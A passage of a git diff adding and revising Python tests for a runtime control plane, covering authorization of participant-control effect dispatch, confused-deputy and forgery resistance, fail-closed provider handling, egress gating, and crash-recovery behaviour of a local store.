"other-participant": _principal("operator.green", participant="participant.behavior.blue-agent"), + }[caller] + + with pytest.raises(PermissionError, match="participant control effect dispatch"): + plane.dispatch_participant_control_effects(PARTICIPANT, identity=identity_value) + + assert _history(plane) == before + assert _effect_claims(plane) == [] + assert _deliveries(plane) == set() + refused = [event for event in plane.audit_log() if event.action == "dispatch_participant_control_effects"] + assert [event.allowed for event in refused] == [False] + + +def test_a_refused_drain_cannot_suppress_the_effect_for_an_authorized_one(): + """Nothing caller-dependent is persisted, so a later authorized drain proceeds.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-poison-attempt") + outsider = _principal("operator.green", participant="participant.behavior.blue-agent") + with pytest.raises(PermissionError): + plane.dispatch_participant_control_effects(PARTICIPANT, identity=outsider) + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + assert len(_deliveries(plane)) == 1 + + +def test_a_privileged_drain_cannot_perform_an_effect_its_origin_could_not(): + """Confused deputy: the effect acts for the principal that caused it. + + A principal bound only to control causes an eligible inject it could not + itself disclose. An audience-bound drainer requests execution, but the + owner authorizes the originating principal, which refuses — the drainer's + own authority never substitutes for it. + """ + + plane = _plane(control_binding()) + control_only = _principal("operator.red", audience=False) + admit(plane, control_identity=control_only, idempotency_key="effect-confused-deputy") + + first = plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal("operator.privileged")) + + assert [item.disposition for item in first] == ["failed"] + assert _deliveries(plane) == set() + # The refusal belongs to the fixed origin, so every drain meets it identically. + second = plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal("operator.other")) + assert second == first + + +def test_effect_operations_are_attributed_to_the_originating_operation(): + """The claim retains the origin's actor and scopes and names it as parent.""" + + from raes_runtime.participant_control_receipts import originating_operations + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-attribution") + evaluation_id = _history(plane)[0]["evaluation_id"] + origin = originating_operations(plane, PARTICIPANT)[evaluation_id] + + plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal("operator.drainer")) + + (claim,) = _effect_claims(plane) + context = claim.status.context + assert context.actor_id == origin.status.context.actor_id != "operator.drainer" + assert context.authorization_scope == origin.status.context.authorization_scope + assert context.parent_operation_id == origin.receipt.operation_id + # The outcome's operation and its actor-bound audit belong to the origin; + # the drain caller appears only on the audited drain request. + recorded = next(event for event in plane.audit_log() if event.action == "record_participant_control_realization") + assert recorded.identity == origin.status.context.actor_id + assert recorded.operation_id == claim.receipt.operation_id + drained = next(event for event in plane.audit_log() if event.action == "dispatch_participant_control_effects") + assert drained.identity == "operator.drainer" + assert drained.allowed is True + + +def test_different_drainers_resolve_one_claim_and_execute_once(): + """The claim identity is the origin's, so a second drainer cannot re-execute.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-two-drainers") + + first = plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal("operator.one")) + second = plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal("operator.two")) + + assert first == second + assert [item.disposition for item in first] == ["applied"] + assert len(_deliveries(plane)) == 1 + assert len(_effect_claims(plane)) == 1 + + +def test_concurrent_drains_never_both_observe_an_effect_as_unrealized(): + """The scan, claim, submission and record happen under one held mutation.""" + + import threading + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-concurrent") + barrier = threading.Barrier(2) + results: list = [] + errors: list = [] + + def drain(name: str) -> None: + try: + barrier.wait() + results.append(plane.dispatch_participant_control_effects(PARTICIPANT, identity=_principal(name))) + except BaseException as error: # pragma: no cover - surfaced below + errors.append(error) + + threads = [threading.Thread(target=drain, args=(name,)) for name in ("operator.left", "operator.right")] + for thread in threads: + thread.start() + for thread in threads: + thread.join(timeout=30) + + assert errors == [] + assert len(results) == 2 + assert results[0] == results[1] + assert [item.disposition for item in results[0]] == ["applied"] + assert len(_deliveries(plane)) == 1 + assert len(_effect_claims(plane)) == 1 + assert len([item for item in _history(plane) if ":realization:" in item["evaluation_id"]]) == 1 + + +def test_a_read_only_role_cannot_drain_effects(): + """Draining mutates, so it needs a mutating role, as crossing ingress does.""" + + from dataclasses import replace as _replace + + from raes_runtime.control_plane_security import ControlPlaneRole + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-auditor-drain") + auditor = _replace(_principal("auditor.one"), roles=frozenset({ControlPlaneRole.AUDITOR})) + + with pytest.raises(PermissionError, match="caller-forbidden"): + plane.dispatch_participant_control_effects(PARTICIPANT, identity=auditor) + + assert _effect_claims(plane) == [] + + +def test_a_transient_owner_error_is_not_an_outcome_of_the_effect(): + """Only the owner's own refusal fails an effect; a passing condition does not.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-transient") + original = plane.deliver_participant_directed_view + + def unavailable(*args: object, **kwargs: object): + del args, kwargs + raise RuntimeError("store momentarily unavailable") + + plane.deliver_participant_directed_view = unavailable # type: ignore[method-assign] + with pytest.raises(RuntimeError, match="momentarily unavailable"): + _dispatch(plane) + plane.deliver_participant_directed_view = original # type: ignore[method-assign] + + # Nothing was recorded against the effect, and its claim stayed open. + assert [item for item in _history(plane) if ":realization:" in item["evaluation_id"]] == [] + assert [claim.status.state for claim in _effect_claims(plane)] == [OperationState.RUNNING] + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + assert len(_deliveries(plane)) == 1 + assert len(_effect_claims(plane)) == 1 + + +def test_one_logical_key_has_one_claimant_across_evaluations(): + """PC-11 allocates identity once per key, whoever re-requests it later.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-key-first") + admit(plane, control_identity=_principal("operator.second"), idempotency_key="effect-key-second") + admissions = [item for item in _history(plane) if ":realization:" not in item["evaluation_id"]] + assert len(admissions) == 2 + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + (claim,) = _effect_claims(plane) + assert claim.status.context.actor_id == _origin().identity + assert len(_deliveries(plane)) == 1 + + +def test_an_effect_with_no_provable_origin_is_reported_and_never_dispatched(): + from raes_runtime.participant_control_effects import _effect_outcome + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-unattributed") + evaluation = ParticipantControlEvaluationModel.model_validate(_history(plane)[0]) + _origin_record, request = _origin_and_request(plane) + + outcome, claim = _effect_outcome(plane, plane._participant_control, evaluation, None, request, {}) + + assert outcome.disposition == "unsupported" + assert outcome.receipt.ref == "unattributed.effect-1" + assert claim is None + assert _effect_claims(plane) == [] + assert _deliveries(plane) == set() + + +def test_another_actors_record_under_the_owner_key_never_answers_for_the_effect(): + """The owner key is derivable, so the owner record resolves in its claim scope. + + In the window where an effect is claimed but not yet submitted, another + actor that learned the claim's identity files a succeeded operation of the + owner's kind under the derived owner key. It is outside the owner's claim + scope — the owner is always submitted as the originating principal — so it + neither reports the effect applied nor blocks the real dispatch. + """ + + from raes_runtime.participant_control_receipts import claim_effect, owner_idempotency_key + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-owner-key-forgery") + origin, request = _origin_and_request(plane) + with control_plane_mutation(plane, OperationKind.PARTICIPANT_CONTROL): + claim = claim_effect(plane, origin, request).record + _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_CROSSING, + operation_id="forged-owner-1", + state=OperationState.SUCCEEDED, + key=owner_idempotency_key(claim), + actor_id="operator.attacker", + ) + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + assert len(_deliveries(plane)) == 1 # the real owner ran; the forgery answered nothing + + +def test_a_drain_caller_supplies_nothing_the_owner_sees(): + """An audience-only drain cannot fail a supervisory handoff it has no authority over. + + The owner's evidence comes from the trusted resolver with the rest of the + owner input, so the caller has nothing to omit or distort: its drain runs + the handoff as the originating principal, exactly as any other drain would. + """ + + specification = control_specification() + plane = RuntimeControlPlane( + _target(), + crossing_policy_resolver=StaticCrossingResolver(), + behavior_specifications={specification.address: specification}, + participant_control=control_binding(handoff_effect_payload()), + enforce_final_sink_flow_control=False, + ) + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1") + admit(plane, control_identity=_origin(), idempotency_key="effect-audience-only-drain") + + realizations = plane.dispatch_participant_control_effects( + PARTICIPANT, identity=_principal("operator.audience-only", control=False) + ) + + assert [item.disposition for item in realizations] == ["applied"] + + +def test_owner_evidence_the_resolver_does_not_supply_is_unsupported_not_failed(): + """Missing owner input is an availability fact: nothing claimed, nothing recorded.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-no-evidence") + plane._participant_control.resolver.effect_evidence = False + + first = _dispatch(plane) + + assert [item.disposition for item in first] == ["unsupported"] + assert _effect_claims(plane) == [] + assert [item for item in _history(plane) if ":realization:" in item["evaluation_id"]] == [] + + plane._participant_control.resolver.effect_evidence = True + assert [item.disposition for item in _dispatch(plane)] == ["applied"] + assert len(_deliveries(plane)) == 1 + + +def test_owner_evidence_for_another_audience_never_reaches_the_owner(): + from participant_control_runtime_fixtures import _effect_evidence + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-wrong-audience") + resolver = plane._participant_control.resolver + original = resolver.effect_operation + + def elsewhere(request, context): + operation = original(request, context) + evidence_elsewhere = _effect_evidence(context).model_copy(update={"audience_scope_ref": "audience:elsewhere"}) + return replace(operation, crossing_evidence=evidence_elsewhere) + + resolver.effect_operation = elsewhere # type: ignore[method-assign] + + assert [item.disposition for item in _dispatch(plane)] == ["unsupported"] + assert _deliveries(plane) == set() diff --git a/implementations/python/tests/test_issue_1069_participant_control_orchestration.py b/implementations/python/tests/test_issue_1069_participant_control_orchestration.py new file mode 100644 index 000000000..df6a0275e --- /dev/null +++ b/implementations/python/tests/test_issue_1069_participant_control_orchestration.py @@ -0,0 +1,492 @@ +"""Issue #1069 RUN-320 modular participant-control orchestration at real sinks. + +These tests drive the real ``RuntimeControlPlane`` to the ``RuntimeTarget`` +boundary with an instrumented backend. Providers are invoked only through the +published ``participant-control-provider/v1`` protocol, the composed evaluation +is committed before any effect or disclosure, and every non-eligible class +produces zero backend dispatch and zero serialization with bounded evidence. +""" + +from __future__ import annotations + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from participant_control_runtime_fixtures import ( + INSTANCE, + MONITOR, + DuplicateSlotProvider, + SyntheticControlProvider, + SyntheticControlResolver, + admitted_payload, + advisory_monitor_payload, + conflicting_effect_payload, + control_binding, + with_status, +) +from participant_crossing_fixtures import ( + AUDIENCE, + PARTICIPANT, + StaticCrossingResolver, + action_plane, + admit, + control_specification, + evidence, + identity, + policy_capable_target, +) +from raes_contracts.runtime_state import OperationState +from raes_runtime.control_plane import RuntimeControlPlane + +_SECRET = "provider failure detail must never reach a caller" + + +def _instrument_backend(target: object) -> dict[str, int]: + runtime = target.participant_runtime + assert runtime is not None + original = runtime.admit_action + counter = {"calls": 0} + + def tracked(*args: object, **kwargs: object): + counter["calls"] += 1 + return original(*args, **kwargs) + + runtime.admit_action = tracked # type: ignore[method-assign] + return counter + + +def control_target(*features: str): + """A target declaring API-407 modular-control support for this runtime.""" + + return policy_capable_target("participant_ingress_admission", "participant_modular_control", *features) + + +def _plane(binding, *, target=None, store=None): + return action_plane( + StaticCrossingResolver(), + target=target or control_target(), + store=store, + participant_control=binding, + ) + + +def _evaluations(plane) -> list[dict]: + return list(plane.snapshot.participant_control_evaluation_history.get(PARTICIPANT, ())) + + +def _audit_details(plane) -> dict[str, str]: + return dict(plane.audit_log()[-1].details) + + +def _status(plane, operation_id): + status = plane.get_operation(operation_id) + assert status is not None + return status + + +# --- Eligible composition ------------------------------------------------- + + +def test_eligible_composition_commits_before_the_backend_effect(): + target = control_target() + counter = _instrument_backend(target) + binding = control_binding() + plane = _plane(binding, target=target) + + receipt = admit(plane, idempotency_key="control-eligible") + + assert receipt.accepted is True + assert counter["calls"] == 1 + evaluations = _evaluations(plane) + assert len(evaluations) == 1 + assert evaluations[0]["composition"]["disposition"] == "eligible" + assert _audit_details(plane)["control_disposition"] == "eligible" + + +def test_providers_are_invoked_through_the_published_protocol_for_the_live_cut(): + binding = control_binding() + plane = _plane(binding) + + admit(plane, idempotency_key="control-protocol") + + provider = binding.providers[INSTANCE] + assert len(provider.calls) == 1 + context = provider.calls[0].context + assert context.participant_address == PARTICIPANT + assert context.expected_history_heads # bound to the live state cut + + +def test_two_mechanisms_and_profiles_compose_without_backend_name_branches(): + binding = control_binding(advisory_monitor_payload()) + plane = _plane(binding) + + admit(plane, idempotency_key="control-two-mechanisms") + + evaluation = _evaluations(plane)[0] + assert {result["instance_id"] for result in evaluation["results"]} == {INSTANCE, MONITOR} + assert evaluation["composition"]["disposition"] == "eligible" + + +@pytest.mark.parametrize("reverse", [False, True]) +def test_permuted_provider_return_order_composes_identically(reverse: bool): + payload = advisory_monitor_payload() + providers = { + instance: SyntheticControlProvider(instance_id=instance, reverse=reverse) for instance in (INSTANCE, MONITOR) + } + plane = _plane(control_binding(payload, providers=providers)) + + admit(plane, idempotency_key="control-order") + + evaluation = _evaluations(plane)[0] + assert evaluation["composition"]["contributing_result_ids"] == ["result-fact", "result-rule", "result-advice"] + assert evaluation["composition"]["disposition"] == "eligible" + + +def test_advisory_negative_assessment_alone_never_blocks_release(): + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(advisory_monitor_payload()), target=target) + + admit(plane, idempotency_key="control-advisory") + + assert counter["calls"] == 1 + assert _evaluations(plane)[0]["composition"]["blockers"] == [] + + +def test_observation_only_selection_keeps_the_incumbent_gates(): + """A permissive profile with no denial slot still passes ordinary admission.""" + + payload = evaluation_payload() + payload["request"]["selection"]["slots"] = [payload["request"]["selection"]["slots"][0]] + payload["results"] = [payload["results"][0]] + plane = _plane(control_binding(payload)) + + receipt = admit(plane, idempotency_key="control-observe-only") + + assert receipt.accepted is True + assert _evaluations(plane)[0]["composition"]["disposition"] == "eligible" + + +# --- Zero-effect non-eligible classes ------------------------------------- + + +@pytest.mark.parametrize( + "status,disposition", + [("missing", "failed"), ("stale", "stale"), ("unsupported", "unsupported"), ("failed", "failed")], +) +def test_unsatisfied_mandatory_slot_never_dispatches(status: str, disposition: str): + target = control_target() + counter = _instrument_backend(target) + payload = with_status(evaluation_payload(), "fact", status) + plane = _plane(control_binding(payload), target=target) + + receipt = admit(plane, idempotency_key="control-unsatisfied") + + assert counter["calls"] == 0 + assert _status(plane, receipt.operation_id).state is OperationState.FAILED + assert plane.snapshot.participant_behavior_history == {} + assert _evaluations(plane)[0]["composition"]["disposition"] == disposition + + +def test_conflicting_effect_requests_deny_the_parent(): + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(conflicting_effect_payload()), target=target) + + receipt = admit(plane, idempotency_key="control-conflict") + + assert counter["calls"] == 0 + assert _status(plane, receipt.operation_id).state is OperationState.FAILED + evaluation = _evaluations(plane)[0] + assert evaluation["composition"]["disposition"] == "conflict" + assert "effect-conflict" in evaluation["composition"]["blockers"] + + +def test_weakened_support_blocks_under_the_requested_binding(): + payload = evaluation_payload() + payload["support"][0]["effective_level"] = "bounded" + payload["support"][0]["constraints"] = [ + {"kind": "constraint", "ref": "bounded-explicit-flows", "revision": "rev1", "digest": "sha256:" + "a" * 64} + ] + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(payload), target=target) + + admit(plane, idempotency_key="control-weakened") + + assert counter["calls"] == 0 + assert _evaluations(plane)[0]["composition"]["disposition"] == "weakened" + + +def test_provider_exception_fails_closed_without_leaking_its_detail(): + target = control_target() + counter = _instrument_backend(target) + providers = {INSTANCE: SyntheticControlProvider(raises=True)} + plane = _plane(control_binding(providers=providers), target=target) + + receipt = admit(plane, idempotency_key="control-provider-raises") + + assert counter["calls"] == 0 + status = _status(plane, receipt.operation_id) + assert status.state is OperationState.FAILED + assert _SECRET not in repr(status.diagnostics) + assert _SECRET not in repr(plane.audit_log()[-1]) + assert _evaluations(plane)[0]["composition"]["disposition"] == "failed" + + +def test_malformed_provider_return_is_recorded_as_failed_not_omitted(): + providers = {INSTANCE: SyntheticControlProvider(returns_invalid=True)} + plane = _plane(control_binding(providers=providers)) + + admit(plane, idempotency_key="control-provider-malformed") + + evaluation = _evaluations(plane)[0] + assert {result["slot_id"] for result in evaluation["results"]} == {"fact", "rule"} + assert all(result["status"] == "failed" for result in evaluation["results"]) + + +def test_an_omitted_slot_is_recorded_missing_rather_than_dropped(): + providers = {INSTANCE: SyntheticControlProvider(omits_slot="rule")} + plane = _plane(control_binding(providers=providers)) + + admit(plane, idempotency_key="control-provider-omits") + + evaluation = _evaluations(plane)[0] + statuses = {result["slot_id"]: result["status"] for result in evaluation["results"]} + assert statuses == {"fact": "resolved", "rule": "missing"} + + +def test_stale_state_cut_refuses_without_reusing_an_old_permit(): + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(stale_heads=True), target=target) + + receipt = admit(plane, idempotency_key="control-stale") + + assert counter["calls"] == 0 + assert _status(plane, receipt.operation_id).state is OperationState.FAILED + assert _audit_details(plane)["control_disposition"] == "stale" + + +def test_resolver_failure_fails_closed_without_leaking_its_detail(): + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(raises=True), target=target) + + receipt = admit(plane, idempotency_key="control-resolver-raises") + + assert counter["calls"] == 0 + status = _status(plane, receipt.operation_id) + assert status.state is OperationState.FAILED + assert "resolver failure detail" not in repr(status.diagnostics) + + +def test_non_permit_incumbent_gate_blocks_even_with_resolved_mechanisms(): + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(incumbent_gate_disposition="deny"), target=target) + + admit(plane, idempotency_key="control-gate-deny") + + assert counter["calls"] == 0 + assert _evaluations(plane)[0]["composition"]["disposition"] == "deny" + + +# --- Governed egress ------------------------------------------------------ + + +def _egress_target(): + return control_target("participant_egress_projection", "participant_transformation") + + +def _status_view(plane, *, idempotency_key: str): + return plane.get_participant_status_view( + PARTICIPANT, + identity=identity(audience_bound=True), + crossing_evidence=evidence(), + idempotency_key=idempotency_key, + ) + + +def test_eligible_composition_permits_the_governed_egress_projection(): + plane = _plane(control_binding(), target=_egress_target()) + + view = _status_view(plane, idempotency_key="control-egress-permit") + + assert view is not None + assert view.participant_address == PARTICIPANT + assert _evaluations(plane)[0]["composition"]["disposition"] == "eligible" + + +def test_non_eligible_composition_refuses_egress_and_serializes_nothing(): + providers = {INSTANCE: SyntheticControlProvider(omits_slot="fact")} + plane = _plane(control_binding(providers=providers), target=_egress_target()) + + with pytest.raises(PermissionError, match="not permitted"): + _status_view(plane, idempotency_key="control-egress-deny") + + stages = [item["occurrence"]["stage"] for item in plane.snapshot.participant_crossing_history[PARTICIPANT]] + assert "delivered" not in stages + assert _evaluations(plane)[0]["composition"]["disposition"] == "failed" + + +def test_a_resolver_cannot_substitute_a_selection_the_apparatus_never_admitted(): + """PC-01: changing the selection requires a new admitted binding, not a cut.""" + + target = control_target() + counter = _instrument_backend(target) + binding = control_binding() + rival = SyntheticControlResolver( + payload=admitted_payload(advisory_monitor_payload(), participant=PARTICIPANT, audience=AUDIENCE) + ) + rival.providers = tuple(binding.providers.values()) + object.__setattr__(binding, "resolver", rival) + plane = _plane(binding, target=target) + + receipt = admit(plane, idempotency_key="control-unadmitted-selection") + + assert counter["calls"] == 0 + assert _status(plane, receipt.operation_id).state is OperationState.FAILED + assert _audit_details(plane)["control_disposition"] == "unresolved" + assert _evaluations(plane) == [] + + +def test_duplicate_provider_slots_are_refused_rather_than_collapsed(): + """Order must not decide which contribution survives; the response is malformed.""" + + target = control_target() + counter = _instrument_backend(target) + providers = {INSTANCE: DuplicateSlotProvider()} + plane = _plane(control_binding(providers=providers), target=target) + + admit(plane, idempotency_key="control-duplicate-slot") + + assert counter["calls"] == 0 + evaluation = _evaluations(plane)[0] + assert {result["status"] for result in evaluation["results"]} == {"failed"} + + +def test_permitted_control_ingress_commits_its_evaluation(): + """The supervisory transition carries the composition it was admitted under.""" + + specification = control_specification() + plane = RuntimeControlPlane( + control_target("participant_intervention"), + crossing_policy_resolver=StaticCrossingResolver(), + behavior_specifications={specification.address: specification}, + participant_control=control_binding(), + enforce_final_sink_flow_control=False, + ) + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1") + + receipt = plane.record_participant_control( + PARTICIPANT, + _handoff_intent(specification), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="control-ingress-evaluation", + ) + + assert receipt.accepted is True + assert len(plane.snapshot.participant_control_history[PARTICIPANT]) == 1 + evaluations = _evaluations(plane) + assert len(evaluations) == 1 + assert evaluations[0]["composition"]["disposition"] == "eligible" + assert any(result["slot_id"] == "rule" for result in evaluations[0]["results"]) + # The committed supervisory operation is provably the one that appended the + # evaluation, so its effects have a principal to act for at this sink too. + from raes_runtime.participant_control_receipts import originating_operations + + origin = originating_operations(plane, PARTICIPANT)[evaluations[0]["evaluation_id"]] + assert origin.receipt.operation_id == receipt.operation_id + assert origin.status.context.actor_id == identity().identity + + +def _handoff_intent(specification): + from raes_runtime.participant_control_intents import ParticipantHandoffControlIntent + + return ParticipantHandoffControlIntent( + declaration_ref=specification.control_transitions[0].address, + episode_id="episode-1", + client_correlation_id="control-ingress-1069", + policy_revision="1.0.0", + expected_state_revision=0, + provenance_refs=["provenance:handoff"], + evidence_refs=["evidence:handoff"], + object_marking_refs=["marking:participant-control"], + limitation_refs=["limitation:none"], + completion_evidence_ref="evidence:handoff", + ) + + +def test_an_unconfigured_control_plane_runs_the_incumbent_path_unchanged(): + target = control_target() + counter = _instrument_backend(target) + plane = action_plane(StaticCrossingResolver(), target=target) + + receipt = admit(plane, idempotency_key="control-unconfigured") + + assert receipt.accepted is True + assert counter["calls"] == 1 + assert plane.snapshot.participant_control_evaluation_history == {} + + +def test_a_reconstructed_crossing_identity_is_refused_as_a_stale_cut(): + """API-424 names the crossing occurrence event, not the decision id. + + A resolver that reconstructs the occurrence — rather than naming the + committed RUN-319 record — cannot satisfy both the runtime binding and the + portable validator, and the runtime refuses it instead of composing. + """ + + target = control_target() + counter = _instrument_backend(target) + plane = _plane(control_binding(replacement_crossing=True), target=target) + + receipt = admit(plane, idempotency_key="control-reconstructed-crossing") + + assert plane.get_operation(receipt.operation_id).state is OperationState.FAILED + assert plane.snapshot.participant_control_evaluation_history == {} + assert counter["calls"] == 0 + assert plane.audit_log()[-1].details["control_disposition"] == "stale" + + +def test_the_committed_crossing_record_is_what_the_admitted_cut_names(): + """The bound digest is reproducible from committed state, not from memory.""" + + from participant_control_runtime_fixtures import committed_crossing_record, live_crossing_digest + + plane = _plane(control_binding()) + admit(plane, idempotency_key="control-committed-crossing") + + resolver = plane._participant_control.resolver + context = resolver.live["request"]["context"] + committed = committed_crossing_record( + type("_Prepared", (), {"decision": resolver.live_crossing, "next_snapshot": plane.snapshot}) + ) + assert context["crossing"]["ref"] == committed.event_id + assert context["crossing"]["digest"] == live_crossing_digest(committed) + assert committed.event_id != committed.occurrence.decision_id + + +def test_a_trusted_context_callback_cannot_mutate_the_runtime_re_entrantly(): + """Operator resolver code runs under the external-call re-entry fence.""" + + from participant_control_runtime_fixtures import ReentrantValidationResolver + + template = control_binding() + resolver = ReentrantValidationResolver(payload=template.resolver.payload) + binding = control_binding(resolver=resolver) + target = control_target() + counter = _instrument_backend(target) + plane = _plane(binding, target=target) + resolver.plane = plane + + receipt = admit(plane, idempotency_key="control-reentrant-validation") + + # The re-entrant mutation was refused by the fence, not committed. + assert resolver.reentry_errors == ["backend callback cannot start a control-plane mutation"] + assert "participants.reentrant" not in plane.snapshot.participant_episode_results + # The missing trusted context fails closed: nothing composed, nothing dispatched. + assert plane.snapshot.participant_control_evaluation_history == {} + assert counter["calls"] == 0 + assert plane.get_operation(receipt.operation_id).state is OperationState.FAILED diff --git a/implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py b/implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py index 250374f7c..ffb703ecf 100644 --- a/implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py +++ b/implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py @@ -74,12 +74,16 @@ adapt_control_plane_store, ) from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION +from raes_runtime.control_plane_store_records import _record_payload from raes_runtime.control_plane_store_snapshots import ( _require_complete_runtime_snapshot_fields, _snapshot_from_payload, _snapshot_payload, ) +pytestmark = pytest.mark.control_plane_conformance + class _CountingProvisioner: def __init__( @@ -382,7 +386,7 @@ def _pre_lifecycle_record_payload( *, accepted: bool = True, ) -> dict[str, Any]: - payload = local_store_module._record_payload(record) + payload = _record_payload(record) payload["receipt"].pop("context") payload["receipt"]["accepted"] = accepted payload["status"].pop("context") @@ -425,7 +429,25 @@ def _audit_event( def _atomic_store(kind: str, tmp_path: Path) -> InMemoryControlPlaneStore | LocalControlPlaneStore: if kind.startswith("memory"): return InMemoryControlPlaneStore() - return LocalControlPlaneStore(tmp_path / f"control-plane-{kind}") + return _admitted_local_store(tmp_path / f"control-plane-{kind}") + + +def _admitted_local_store( + path: Path, + *, + target_scope: str = "target:stub", + run_scope: str = "run:test", +) -> LocalControlPlaneStore: + store = LocalControlPlaneStore(path) + store.admit_runtime(target_scope=target_scope, run_scope=run_scope) + return store + + +def _close_admitted_local_store(store: LocalControlPlaneStore) -> None: + store.close() + lease = store._active_runtime_lease + assert lease is not None + lease.close() def _runtime_owner_result(store_path: str, queue: Any) -> None: @@ -677,7 +699,11 @@ def interrupt_commit( _authorize_provisioning_plan(restarted, target, provisioning_plan) recovered = restarted.get_operation(operation_id) assert recovered is not None - assert recovered.state is OperationState.RUNNING + assert recovered.state is OperationState.INDETERMINATE + assert [diagnostic.code for diagnostic in recovered.diagnostics] == [ + "runtime.control-plane.recovery-effect-unobservable", + "runtime.control-plane.operation-indeterminate", + ] assert not any(diagnostic.code == INTERRUPTED_OPERATION_DIAGNOSTIC_CODE for diagnostic in recovered.diagnostics) retry = restarted.submit_provisioning( @@ -696,7 +722,7 @@ def test_terminal_transaction_rolls_back_at_each_internal_write_boundary( monkeypatch: pytest.MonkeyPatch, write_boundary: str, ) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") running = _running_record("transaction-crash") store.claim_record(running) next_snapshot = RuntimeSnapshot(metadata={"generation": 2}) @@ -889,16 +915,18 @@ def fail_reload() -> SnapshotState: control_plane.close() -def test_startup_preserves_interrupted_records_without_record_only_terminalization( +def test_startup_recovery_commit_failure_aborts_readiness_and_resumes_without_record_only_writes( tmp_path: Path, monkeypatch: pytest.MonkeyPatch, ) -> None: store_path = tmp_path / "control-plane" - store = LocalControlPlaneStore(store_path) + preparation_store = _admitted_local_store(store_path) accepted = _running_record("accepted", state=OperationState.ACCEPTED) running = _running_record("running") - store.save_record(accepted) - store.save_record(running) + preparation_store.save_record(accepted) + preparation_store.save_record(running) + _close_admitted_local_store(preparation_store) + store = LocalControlPlaneStore(store_path) real_upsert = store._upsert_record writes = 0 @@ -911,20 +939,24 @@ def fail_second_recovery_write(connection: object, record: ControlPlaneOperation monkeypatch.setattr(store, "_upsert_record", fail_second_recovery_write) target = create_stub_target() - control_plane = RuntimeControlPlane(target, store=store) + with pytest.raises(OSError, match="injected recovery crash"): + RuntimeControlPlane(target, store=store, run_scope="run:test") - assert writes == 0 - assert {record.status.state for record in store.load_records().values()} == { - OperationState.ACCEPTED, + assert writes == 2 + inspection_store = _admitted_local_store(store_path) + assert {record.status.state for record in inspection_store.load_records().values()} == { + OperationState.CANCELLED, OperationState.RUNNING, } - control_plane.close() + _close_admitted_local_store(inspection_store) - restarted = RuntimeControlPlane(create_stub_target(), store=LocalControlPlaneStore(store_path)) + restarted = RuntimeControlPlane( + create_stub_target(), store=LocalControlPlaneStore(store_path), run_scope="run:test" + ) recovered = restarted._operations.values() assert {record.status.state for record in recovered} == { - OperationState.ACCEPTED, - OperationState.RUNNING, + OperationState.CANCELLED, + OperationState.INDETERMINATE, } assert all( not any(diagnostic.code == INTERRUPTED_OPERATION_DIAGNOSTIC_CODE for diagnostic in record.status.diagnostics) @@ -951,7 +983,7 @@ def test_local_store_rejects_second_runtime_owner_then_allows_clean_handoff(tmp_ def test_local_store_rejects_empty_idempotency_lookup_and_tampered_operation_identity(tmp_path: Path) -> None: - store = LocalControlPlaneStore(tmp_path / "control-plane") + store = _admitted_local_store(tmp_path / "control-plane") record = _running_record("durable-identity") store.save_record(record) assert store.find_by_idempotency("") is None @@ -981,14 +1013,16 @@ def test_local_store_rejects_unsupported_schema_and_failed_quick_check( monkeypatch: pytest.MonkeyPatch, ) -> None: schema_path = tmp_path / "unsupported-schema" - schema_store = LocalControlPlaneStore(schema_path) + schema_store = _admitted_local_store(schema_path) with schema_store._connection() as connection, local_store_module._transaction(connection): connection.execute("UPDATE metadata SET value='future' WHERE key='schema-version'") + _close_admitted_local_store(schema_store) with pytest.raises(ValueError, match="unsupported local control-plane database schema"): - LocalControlPlaneStore(schema_path) + _admitted_local_store(schema_path) quick_check_path = tmp_path / "failed-quick-check" - LocalControlPlaneStore(quick_check_path) + quick_check_store = _admitted_local_store(quick_check_path) + _close_admitted_local_store(quick_check_store) real_connect = LocalControlPlaneStore._connect class _QuickCheckFailureConnection: @@ -1012,12 +1046,12 @@ def failed_quick_check_connect( monkeypatch.setattr(LocalControlPlaneStore, "_connect", failed_quick_check_connect) with pytest.raises(ValueError, match="database failed its integrity check"): - LocalControlPlaneStore(quick_check_path) + _admitted_local_store(quick_check_path) def test_local_store_migrates_v1_sqlite_operations_and_disposes_denials(tmp_path: Path) -> None: store_path = 